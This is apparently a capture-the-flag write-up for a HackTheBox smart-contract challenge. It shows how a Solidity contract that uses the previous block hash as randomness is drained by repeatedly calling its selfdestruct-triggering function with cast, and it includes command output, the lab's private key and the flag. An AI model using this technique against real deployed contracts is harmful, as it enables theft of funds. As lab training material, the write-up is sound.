Russian Roulette

3 minutes to read

We are given a Solidity file called RussianRoulette.sol:

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {  
            selfdestruct(payable(msg.sender)); // 💀
        } else {
            return "im SAFU ... for now";
        }
    }
}

Moreover, we have this Setup.sol, which is common in Solidity challenges:

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();  
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Here we see that the remote instance has deployed a RussianRoulette Smart Contract with 10 ether, and we will solve the challenge if the Smart Contract runs out of balance.

Block hash

In order to make the RussianRoulette Smart Contract run out of money, we need to force pullTrigger to execute selfdestruct:

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {  
            selfdestruct(payable(msg.sender)); // 💀
        } else {
            return "im SAFU ... for now";
        }
    }

As can be seen, selfdestruct is called when the hash of the previous block is 7 modulo 10 (in other words, the last decimal digit is a 7). So, we only need to perform several transactions until we have this situation:

Exploitation

Let’s connect to the challenge instance to take the connection parameters:

$ nc 94.237.59.113 42894
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key     :  0xbe0862385b45fce1eef2af091e4f0386473b8d69bf14a291cb55f61a248aff31  
Address         :  0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
Target contract :  0x9A69BbA55b2E28F53465F0B8cEB8Cd4E16081D64
Setup contract  :  0x80Ff54067a7a9216EB998729356a776Dc3c30555
^C

$ PRIVATE_KEY='0xbe0862385b45fce1eef2af091e4f0386473b8d69bf14a291cb55f61a248aff31'

$ ADDRESS_TARGET='0x9A69BbA55b2E28F53465F0B8cEB8Cd4E16081D64'

$ ADDRESS_SETUP='0x80Ff54067a7a9216EB998729356a776Dc3c30555'

$ export ETH_RPC_URL='http://94.237.59.113:43194'

Now we are ready to use cast:

$ cast call $ADDRESS_SETUP 'isSolved() (bool)'  
false

At this point, we can start doing transactions until the block hash matches the condition:

$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY

blockHash               0xe38c2717f3941617e4128b7bd7466d0053a0fa345ab06407d432e51805cc82ec
blockNumber             2
contractAddress
cumulativeGasUsed       21720
effectiveGasPrice       3000000000
from                    0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed                 21720
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
root
status                  1
transactionHash         0xcd98670c9f7ce46f14d600e3dd0b277aec5b07030514795a48e09509ece65309
transactionIndex        0
type                    2
to                      0x9a69…1d64
depositNonce             null

$ python3 -c 'print(0xe38c2717f3941617e4128b7bd7466d0053a0fa345ab06407d432e51805cc82ec % 10)'
0

$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false

The above one does not match, but after a few transactions, we find one that will work:

$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY

blockHash               0xc85e094b5ba8e051839702a412ae5748d7197799e5036d63169ae5e76a0c1ca7
blockNumber             4
contractAddress
cumulativeGasUsed       21720
effectiveGasPrice       3000000000
from                    0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed                 21720
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
root
status                  1
transactionHash         0x8f160619e48065441abd033b6c8c2c882a55870ca8fa67ec2f6ece0082369070
transactionIndex        0
type                    2
to                      0x9a69…1d64
depositNonce             null

$ python3 -c 'print(0xc85e094b5ba8e051839702a412ae5748d7197799e5036d63169ae5e76a0c1ca7 % 10)'
7

So, we need to call pullTrigger again and we are done:

$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY

blockHash               0x7ec35efac3a32dfb53355d71c0db0f66f1639649d68d1f62997d338a740b87c2
blockNumber             5
contractAddress
cumulativeGasUsed       26358
effectiveGasPrice       3000000000
from                    0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed                 26358
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
root
status                  1
transactionHash         0xa66ba46f2cee0d2e65b8da44b80a18ee35989caef4dddf7f1a7fd1a71e0e9a21
transactionIndex        0
type                    2
to                      0x9a69…1d64
depositNonce             null

$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true

Flag

And this is the flag:

$ nc 94.237.59.113 42894
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}